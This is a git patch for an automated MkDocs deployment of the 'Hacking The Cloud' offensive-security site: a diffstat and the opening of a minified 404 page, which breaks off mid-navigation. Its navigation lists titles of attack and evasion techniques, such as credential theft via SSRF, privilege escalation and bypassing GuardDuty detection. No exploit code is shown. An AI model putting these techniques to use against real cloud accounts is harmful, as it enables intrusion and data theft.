From ba5356892af21f6990f2442a395c791ae378316d Mon Sep 17 00:00:00 2001
From:  <>
Date: Thu, 5 Dec 2024 19:51:03 +0000
Subject: [PATCH] Deployed 0d4455a7 with MkDocs version: 1.6.1

---
 404.html                                      |   2 +-
 ...oting_public_resources_attack_playbook.png | Bin 0 -> 228707 bytes
 .../guardduty-pentest/index.html              |   4 +-
 .../guardduty-tor-client/index.html           |   4 +-
 .../modify-guardduty-config/index.html        |   4 +-
 .../steal-keys-undetected/index.html          |   4 +-
 aws/capture_the_flag/cicdont/index.html       |   4 +-
 aws/deprecated/stealth_perm_enum/index.html   |   4 +-
 aws/deprecated/whoami/index.html              |   4 +-
 .../account_id_from_ec2/index.html            |   4 +-
 .../account_id_from_s3_bucket/index.html      |   4 +-
 .../brute_force_iam_permissions/index.html    |   4 +-
 .../index.html                                |   4 +-
 .../index.html                                |   4 +-
 aws/enumeration/enum_iam_user_role/index.html |   4 +-
 .../index.html                                |   4 +-
 .../index.html                                |   4 +-
 .../get-account-id-from-keys/index.html       |   4 +-
 .../loot_public_ebs_snapshots/index.html      |   4 +-
 aws/enumeration/whoami/index.html             |   4 +-
 .../index.html                                |   4 +-
 .../index.html                                |   4 +-
 .../index.html                                | 412 ++++++++++++++++++
 .../index.html                                |   4 +-
 .../index.html                                |   4 +-
 .../index.html                                |   4 +-
 .../abusing-container-registry/index.html     |   4 +-
 .../index.html                                |   4 +-
 .../cognito_user_self_signup/index.html       |   4 +-
 aws/exploitation/ec2-metadata-ssrf/index.html |   4 +-
 .../iam_privilege_escalation/index.html       |   4 +-
 .../lambda-steal-iam-credentials/index.html   |   4 +-
 .../index.html                                |   4 +-
 .../index.html                                |   4 +-
 .../index.html                                |   4 +-
 .../index.html                                |   4 +-
 .../s3_server_access_logs/index.html          |   4 +-
 aws/exploitation/s3_streaming_copy/index.html |   4 +-
 .../aws_cli_tips_and_tricks/index.html        |   4 +-
 .../aws_organizations_defaults/index.html     |   4 +-
 .../index.html                                |   4 +-
 .../connection-tracking/index.html            |   4 +-
 .../iam-key-identifiers/index.html            |   4 +-
 .../intro_metadata_service/index.html         |   4 +-
 .../introduction_user_data/index.html         |   4 +-
 .../using_stolen_iam_credentials/index.html   |   4 +-
 .../index.html                                |   4 +-
 .../index.html                                |   4 +-
 .../index.html                                |   4 +-
 .../iam_persistence/index.html                |   4 +-
 .../intercept_ssm_communications/index.html   |   4 +-
 .../lambda_persistence/index.html             |   4 +-
 .../role-chain-juggling/index.html            |   4 +-
 .../run_shell_commands_on_ec2/index.html      |   4 +-
 .../s3_acl_persistence/index.html             |   4 +-
 .../index.html                                |   4 +-
 .../user_data_script_persistence/index.html   |   4 +-
 azure/abusing-managed-identities/index.html   |   4 +-
 azure/anonymous-blob-access/index.html        |   4 +-
 azure/enum_email_addresses/index.html         |   4 +-
 azure/run-command-abuse/index.html            |   4 +-
 azure/soft-deleted-blobs/index.html           |   4 +-
 blog/2022_wrap-up/index.html                  |   4 +-
 blog/2023_wrap-up/index.html                  |   4 +-
 blog/v2_new_look/index.html                   |   4 +-
 feed_json_created.json                        |   2 +-
 feed_json_updated.json                        |   2 +-
 feed_rss_created.xml                          |   2 +-
 feed_rss_updated.xml                          |   2 +-
 gcp/capture_the_flag/gcp-goat/index.html      |   4 +-
 gcp/capture_the_flag/thunder_ctf/index.html   |   4 +-
 .../enum_email_addresses/index.html           |   4 +-
 .../enumerate_all_permissions/index.html      |   4 +-
 .../index.html                                |   4 +-
 .../gcp_iam_privilege_escalation/index.html   |   4 +-
 .../default-account-names/index.html          |   4 +-
 gcp/general-knowledge/gcp-buckets/index.html  |   4 +-
 .../index.html                                |   4 +-
 .../security-and-constraints/index.html       |   4 +-
 index.html                                    |   4 +-
 search/search_index.json                      |   2 +-
 sitemap.xml                                   | 154 +++----
 sitemap.xml.gz                                | Bin 1371 -> 1391 bytes
 .../terraform_ansi_escape_evasion/index.html  |   4 +-
 .../index.html                                |   4 +-
 85 files changed, 647 insertions(+), 231 deletions(-)
 create mode 100644 assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook.png
 create mode 100644 aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/index.html

diff --git a/404.html b/404.html
index c34ed43db..6facbeddf 100644
--- a/404.html
+++ b/404.html
@@ -1 +1 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="The encyclopedia for offensive security in the cloud."><link rel=alternate type=application/rss+xml title="RSS feed" href=/feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=/feed_rss_updated.xml><link rel=icon href=/assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Hacking The Cloud</title><link rel=stylesheet href=/assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=/assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=/stylesheets/extra.css><script>__md_scope=new URL("/",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=/. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=/assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=/. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=/aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=/azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=/gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=/terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=/blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=/. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=/assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=/aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=/aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=/aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=/aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=/aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=/aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=/aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=/aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=/aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=/aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=/aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=/aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=/aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=/aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=/aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=/aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=/aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=/aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=/aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=/aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=/aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> 